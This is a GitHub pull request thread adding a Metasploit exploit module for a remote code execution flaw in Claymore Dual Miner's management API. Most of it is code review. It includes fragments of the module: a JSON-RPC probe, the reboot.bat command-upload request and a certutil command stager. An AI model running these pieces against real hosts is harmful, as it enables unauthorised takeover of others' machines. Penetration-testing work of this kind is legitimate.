Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit: claymore_dual_miner_remote_manager_rce #10064

Merged

Conversation

phra
Copy link
Contributor

@phra phra commented May 19, 2018

see #10063

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
  • launch claymore miner w/ management port on TCP/3333
  • exploit
  • profit :shipit:

image

@phra phra changed the title exploits: add CVE-2018-1000049 exploit module, fixes #10063 exploits: add CVE-2018-1000049 exploit module May 19, 2018
end
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rather than wrap the entire method in a begin statement, you can use the rescue-from-method approach.

The check statements should only vprint_* rather than print_*.

A refactored method would look like:

  def check
    data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'

    connect
    sock.put(data)
    buf = sock.get_once || ''
    tmp = StringIO.new
    tmp << buf
    tmp2 = tmp.string
    hex = ''
    case target['Platform']
    when 'linux'
      hex = tmp2.scan(/\w+/)[5]
    when 'windows'
      hex = tmp2.scan(/\w+/)[7]
    end
    if not hex
      return CheckCode::Safe
    end
    str = hex_to_bin(hex)
    if str.include?('WARNING')
      return CheckCode::Vulnerable
    else
      return CheckCode::Detected
    end
  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
    vprint_error("Connection failed: #{e.message}")
    return CheckCode::Unknown
  ensure
    disconnect
  end


register_options(
[
OptAddress.new('RHOST', [ true, 'Set miner host', '127.0.0.1' ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

RHOST does not need to be defined.

    register_options [
      OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
    ]

buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
print_error(e)
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These exceptions are expected. Printing errors to the error log is usually reserved for unexpected exceptions. Usually something like his is sufficient:

      print_error("Connection failed: #{e.message}")

buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
print_error(e)
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These exceptions are expected. Printing errors to the error log is usually reserved for unexpected exceptions. Usually something like his is sufficient:

      print_error("Connection failed: #{e.message}")

when 'linux'
execute_cmdstager
when 'windows'
execute_cmdstager(flavor: :certutil, linemax: 10000)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I assume certutil is the most reliable stager flavor. Is it the only working stager?

It would be preferable to set a default stager flavor for the Windows target and disable the unwanted flavors with deregister_options.

@phra
Copy link
Contributor Author

phra commented May 19, 2018

@bcoles i've updated the PR with the requested changes! :shipit: 💯

deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end

def bin_to_hex(s)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So the Rex library already has a method for this. For example:

Rex::Text.to_hex("AAAA", '')

This will give you "41414141".

Another trick with Ruby is:

"AAAA".unpack("H*").first

:-)

s.each_byte.map { |b| b.to_s(16) }.join
end

def hex_to_bin(s)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This API is also available in Rex. You can do:

Rex::Text.hex_to_raw("41414141")

which returns: AAAA

@phra
Copy link
Contributor Author

phra commented May 21, 2018

@wchen-r7 thanks for the suggestions, PR updated.

@phra
Copy link
Contributor Author

phra commented May 23, 2018

@wchen-r7 @bcoles should i proceed to write the documentation for the module?
@reversebrain mind to help me out with the documentation?

@reversebrain
Copy link
Contributor

Yes, I can help you to write the docs.

@phra
Copy link
Contributor Author

phra commented May 24, 2018

@reversebrain i've added you as a collaborator on my fork so you can update this PR.

the documentation should be go here with the same name of the exploit:
https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules/exploit/multi/misc

'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000049'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The nvd.dist.gov URL can be removed. It is made redundant by providing the CVE key.

Please add these instead:

['EDB', '44638'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'],

@bcoles
Copy link
Contributor

bcoles commented May 29, 2018

Ruby hashes convert to JSON fairly well.

Instead of using JSON strings, you could use Hash.to_json which would make the code more readable, and you wouldn't have to deal with lots of escaping.

For example, this:

upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}"

Could become this:

upload = {
  "id"      => 0,
  "jsonrpc" => '2.0',
  "method"  => 'miner_file',
  "params"  => ['reboot.bat', "#{cmd}"]
}.to_json

tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice if the check operated independently to the configured target.

The default target is 0 (linux) which means a user could run the check method against a remote vulnerable Windows host and receive a Detected response. It might not be obvious to the operator that they can set target 1 to get a more accurate result.

Additionally, if you wanted, you could probably implement fully automatic exploitation using the discrepancy in response from the server to set the appropriate target.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@bcoles i've fixed the hardcoded strings, thanks. for the automatic check without setting the target i have an idea about how to do it, but for the exploitation i don't know how to get the right payload.. (at the moment i'm selecting the payload in the options). in case of a universal exploit should i only use the payload generic/shell_reverse_tcp or the is a way to retrieve the correct meterpreter payload? thanks.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's late here. I'll reply in more detail tomorrow. The short answer is no.

There's two main approaches.

One is to generate_payload_exe and catch the exception when target.platform != payload.platform.

The other approach is performing a string comparison on the target name and payload platform, and bailing if there's an inconsistency.

There's a few other modules you can look at. The modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb module is a local exploit, so slightly different, but the principle is the same.

Here's the relevant code segment. This approach isn't ideal. There's probably a cleaner example somewhere in the framework.

    # Set target
    uname = cmd_exec 'uname'
    vprint_status "Operating system is #{uname}"
    if target.name.eql? 'Automatic'
      case uname
      when /SunOS/i
        my_target = targets[1]
      when /Linux/i
        my_target = targets[2]
      else
        fail_with Failure::NoTarget, 'Unable to automatically select a target'
      end
    else
      my_target = target
    end
    print_status "Using target: #{my_target.name}"

    # Check payload
    if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
       (my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
      fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
    end

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another option - perhaps the best option - would be to make use of exploit_regenerate_payload (aka regenerate_payload). You may need to include the Msf::Exploit::EXE mixin.

Something like this:

     arch = target.arch                                                                                      
     plat = [Msf::Module::PlatformList.new(target['Platform']).platforms.first]

     if (p = regenerate_payload(plat, arch)) == nil
       print_error 'Failed to regenerate payload'
       return
     end

There are a bunch of examples in modules/exploits/multi/http/. You can find the source for regenerate_payload in lib/msf/core/exploit.rb.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i will have a look, thanks.

@asoto-r7 asoto-r7 changed the title exploits: add CVE-2018-1000049 exploit module Add exploit: claymore_dual_miner_remote_manager_rce Jun 14, 2018
@wvu
Copy link
Contributor

wvu commented Jun 26, 2018

@bcoles: What's the status on this one? I was checking EDB and matched on this one.

@bcoles
Copy link
Contributor

bcoles commented Jun 27, 2018

@wvu-r7 I would like to see the check method updated to be target agnostic. I'd also like to see auto targeting. Neither are a requirement to merge this PR.

@phra
Copy link
Contributor Author

phra commented Jun 27, 2018

@bcoles can you review the changes? i've implemented an universal check() and added a check for detected platform and payload platform.

@bcoles
Copy link
Contributor

bcoles commented Jun 27, 2018

msftidy is complaining about:

modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb:172 - [ERROR] fail_with requires a valid Failure:: reason as first parameter: fail_with(Exploit::Failure::NoTarget, 'No matching target') 

Exploit::Failure::NoTarget should probably be Failure::NoTarget

@bcoles
Copy link
Contributor

bcoles commented Jun 27, 2018

I gave this a once-over and it looks sane. A couple of observations.

I'm curious whether linemax is really 100000.

Fun-fact: Ruby lets you format numbers in a more readable fashion. 100000 can be written as 100_000

I'm also curious whether this works as intended:

    if tmp2.scan(/\w+/)[5]
      return self.targets[1]
    elsif tmp2.scan(/\w+/)[7]
      return self.targets[2]
    else
      return nil
    end

Should the conditional branches not be the other way around?

ie, 7 should be checked first, then 5, because if 7 is true then 5 will also always be true, by virtue of being smaller than 7, so the second conditional branch will never be reached.

2.3.0 :001 > tmp2 = 'a s d f g h j k l'
 => "a s d f g h j k l" 
2.3.0 :002 > puts tmp2.scan(/\w+/)[5]
h
 => nil 
2.3.0 :003 > puts tmp2.scan(/\w+/)[7]
k
 => nil 
2.3.0 :004 > puts 'true' if tmp2.scan(/\w+/)[5]
true
 => nil 
2.3.0 :005 > puts 'true' if tmp2.scan(/\w+/)[7]
true
 => nil 
2.3.0 :006 > 

It depends what data you're expecting to receive from the server in words 5 and 7. Also, it's worth noting that both "false" as a string and "0" (zero) as a string will still cause scan to return true, because something was matched, so I'm not sure what you're checking exactly?

All yours @wvu-r7

@phra
Copy link
Contributor Author

phra commented Jun 27, 2018

Exploit::Failure::NoTarget should probably be Failure::NoTarget

fixed.

I'm curious whether linemax is really 100000

i've put an arbitrarily high number because the vulnerability lets you issue just one command. (basically, you are only able to launch a fire-and-forget script)

Should the conditional branches not be the other way around?

check function updated.

@bcoles bcoles added docs and removed needs-docs labels Jul 3, 2018
@reversebrain reversebrain force-pushed the exploits/claymore_dual_miner_remote_manager_rce branch from 01059f6 to 43d71cd Compare July 6, 2018 00:52
@wvu
Copy link
Contributor

wvu commented Jul 13, 2018

Silly truthy/falsey Ruby.

@phra
Copy link
Contributor Author

phra commented Jul 13, 2018

@wvu-r7 let me know if i have to do other changes to the PR!

wvu added a commit to wvu/metasploit-framework that referenced this pull request Jul 16, 2018
@wvu wvu merged commit 43d71cd into rapid7:master Jul 16, 2018
msjenkins-r7 pushed a commit that referenced this pull request Jul 16, 2018
@wvu
Copy link
Contributor

wvu commented Jul 16, 2018

Release Notes

The exploit/multi/misc/claymore_dual_miner_remote_manager_rce module has been added to the framework. It exploits Claymore Dual Miner's remote monitoring/management API.

@reversebrain reversebrain deleted the exploits/claymore_dual_miner_remote_manager_rce branch November 6, 2018 12:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants